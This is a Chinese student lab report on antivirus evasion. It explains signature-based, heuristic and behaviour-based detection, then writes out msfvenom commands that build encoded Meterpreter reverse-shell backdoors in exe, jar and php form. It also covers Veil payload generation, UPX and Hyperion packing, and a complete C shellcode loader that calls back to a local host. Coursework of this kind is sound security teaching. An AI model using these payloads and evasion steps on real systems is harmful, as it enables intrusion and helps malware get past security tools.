2019-2020-2 网络对抗技术 20172327 Exp3 免杀原理与实践

主宰稳场 提交于 2020-04-04 04:11:01

1. 实践基础

1.1 什么是恶意代码检测机制和免杀原理?

1.1.1 免杀原理


免杀技术,全称为反杀毒技术(Anti Anti-Virus),是指对恶意软件的处理让其能够不被杀毒软件所检测,同时也是渗透测试中需要使用到的技术。

1.1.2 恶意代码检测机制


基于特征码的检测:

  • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。


启发式恶意软件检测:

  • 启发式Heuristic,简单来说,就是根据些片面特征去推断,通常是因为缺乏精确判定依据。
  • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 优点:可以检测0-day恶意软件、具有一定通用性
  • 缺点:实时监控系统行为,开销稍多;没有居于特征码的精确度高


基于行为的恶意软件检测:

  • 可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

1.1.3 免杀技术综述

一.入口点加1免杀法:

  • 1.用到工具PEditor
  • 2.特点:非常简单实用,但有时还会被卡巴查杀]
  • 3.操作要点:用PEditor打开无壳木马程序,把原入口点加1即可

二.变化入口地址免杀法:

  • 1.用到工具:OllyDbg,PEditor
  • 2.特点:操作也比较容易,而且免杀效果比入口点加1点要佳.
  • 3.操作要点:用OD载入无壳的木马程序,把入口点的前二句移到零区域去执行,然后又跳回到入口点的下面第三句继续执行.最后用PEditor把入口点改成零区域的地址.

三.加花指令法免杀法:

  • 1.用到工具:OllyDbg,PEditor
  • 2.特点:免杀通用性非常好,加了花指令后,就基本达到大量杀毒软件的免杀.
  • 3.操作要点:用OD打开无壳的木马程序,找到零区域,把我们准备好的花指令填进去填好后又跳回到入口点,保存好后,再用PEditor把入口点改成零区域处填入花指令的着地址.

四.加壳或加伪装壳免杀法:

  • 1.用到工具:一些冷门壳,或加伪装壳的工具,比如木马彩衣等.
  • 2.特点:操作简单化,但免杀的时间不长,可能很快被杀,也很难躲过卡巴的追杀
  • 3.操作要点:为了达到更好的免杀效果可采用多重加壳,或加了壳后在加伪装壳的免杀效果更佳

五.打乱壳的头文件或壳中加花免杀法:

  • 1.用到工具:秘密行动 ,UPX加壳工具.
  • 2.特点:操作也是傻瓜化,免杀效果也正当不错,特别对卡巴的免杀效果非常好
  • 3.操作要点:首先一定要把没加过壳的木马程序用UPX加层壳,然后用秘密行动这款工具中的SCramble功能进行把UPX壳的头文件打乱,从而达到免杀效果.

六.修改文件特征码免杀法:

  • 1.用到工具:特征码定位器,OllyDbg
  • 2.特点:操作较复杂,要定位修改一系列过程,而且只针对每种杀毒软件的免杀,要达到多种杀毒软件的免杀,必需修改各种杀毒软件的特征码.但免杀效果好

1.2 基础问题回答

杀软是如何检测出恶意代码的?


基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。

启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

免杀是做什么?


使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

免杀的基本方法有哪些?


改变特征码的技术:

加壳、使用encode进行编码、基于payload重新编译生成可执行文件、使用其他语言重写再编译



改变行为的技术:

尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码



非常规技术:

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工制作恶意软件

开启杀软能绝对防止电脑中恶意代码吗?


并不一定,在这个实验过程中,通过加壳的操作有时候也能够骗过杀毒软件的查杀。所以杀毒软件也并不是万能的,偶尔也会出现一些漏杀,不过总体来说还是比较安全可靠的。

2. 实践内容

2.1 学习正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、 使用C + shellcode编程以及课堂其他课堂为介绍方法

2.1.1 正确使用msf编码器,生成exe文件

使用msfvenom加基本反弹链接载荷生成exe文件:

  • 1.查看主机IP地址:192.168.0.105
  • 2.使用msfvenom生成20172327-backdoor.exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2327 -f exe > 20172327-backdoor.exe

  • 用VirusTotal、Virscan两个网站进行恶意软件检测。
    使用VirusTotal的检测结果如下:

使用Vircan的检测结果如下:
不知为什么exe文件传不上去,所以我之后就没再用这个检测。

  • 由此可见,直接生成的exe文件能够被大部分杀毒软件识别,免杀性较低
  • 一次编码:-e选择编码器,-b是payload中需要清除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.0.105 LPORT=2327 -f exe > 20172327-backdoor-1code.exe

  • 使用VirusTotal检测截图:

  • 十次编码:使用-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.0.105 LPORT=2327 -f exe > 20172327-backdoor-10code.exe

  • 使用VirusTotal检测截图:

  • 经过上述操作,我们发现编码的次数对于免杀没有任何帮助,为什么呢?


<1> shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。

<2> msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。

2.1.2 msfvenom生成jar文件

  • 生成jar后门程序
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2327 x> 20172327_backdoor_java.jar

  • 使用VirusTotal检测截图:

2.1.3 msfvenom生成php文件

  • 生成php后门程序
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2327 x> 20172327_backdoor_PHP.php

  • 使用VirusTotal检测截图:

如图所示,只有3家杀毒软件可以识别

2.1.4 使用veil-evasion生成后门程序及检测

  • 安装veil
第一步:sudo apt-get install veil
第二步:veil(继续安装,输y)

  • 当你看到出现这句话和这样的界面就证明安装成功了。

  • 安装成功后输入veil指令进入(以管理员权限进入)

  • 输入use evasion命令进入veil-evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP地址(kali的IP)set LHOST 192.168.0.255,端口:set LPORT 2327

输入generate生成文件,接着输入你想要payload的名字:20172327-c-veil

  • 按照生成路径找到文件并上传测试

2.1.5 使用加壳工具尝试

  • 加壳,是一种通过一些列数学运算,将可执行文件或动态链接库文件的编码进行改变,以达到缩小文件体积或加密程序编码的目的。当被加壳的程序运行时,外科程序仙贝执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩。

  • 常用方法有“UPX”、“北斗程序压缩”、“ASPack”等,在此,我将使用“UPX”方法

  • 输入upx 20172327-backdoor.exe -o mrf_upxed.exe,将以前使用的文件20172327-backdoor.exe加壳得到加壳后文件mrf_upxed.exe

  • 运行之后被判断为威胁,将其加入白名单方便测试反弹连接:

  • 使用实验二方法,来测试:

  • 按照生成路径找到文件并上传测试

  • 使用加密壳:Hyperion

  • 将文件mrf_upxed.exe拷贝到hyperion所在目录

  • 通过命令wine hyperion.exe -v mrf_upxed.exe mrf_upxed_Hyperion.exe进行二次加壳

  • 同理进行反弹连接,但不知为什么就是连不上

  • 按照生成路径找到文件并上传测试

2.1.6 使用C+shellcode编程

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=2327 -f c生成一段shellcode。

  • 用vim创建一个文件20172327.c,然后将unsigned char buf[]赋值到其中,代码如下:

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x6d"
"\x68\x02\x00\x09\x17\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 输入i686-w64-mingw32-g++ 20172327.c -o 20172327.exe编译

  • 按照生成路径找到文件并上传测试

2.1.7 使用其他方法完成免杀

  • 启动veil,用list查看有效载荷:

  • 选择第30个荷载: use 30 (Phython下shellcode在ARC下加密的一种)

  • 用 generate 生成,shellcode平台选择2-msfvenom,payloads、IP用Tab自动获取。

  • 输入回连的相关信息

  • 按照生成路径找到文件并上传测试

2.2 通过组合应用各种技术实现恶意代码免杀

(1)简述免杀原理:使用C+shellcode,然后将shellcode转化为hex,并且使用ScRunHex.py与python运行hex码,避免了杀软扫描到ScRunHex.exe的特征码,而同时使用了不同的编码方式混淆,让杀软晕头转向。

2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 使用Msfvenom生成raw格式的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.109 lport=2327 -f raw -o 20172327.raw 
  • 打开msfconsole进行监听:

  • 在本机测试

  • 未发现病毒

  • 另一台正常开启杀软的Windows命令提示符输入 shellcode_launcher.exe -i 20172327.raw
    windows 自带defender发现了问题

4.1.3 总结与体会

  • 通过本次实验,了解了很多种方法,也知道了工作原理,对以后的学习会有很多的帮助。在做实验的过程中,我遇到了很多问题,也耗费了大量的时间去修改,调试,收获颇丰。
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!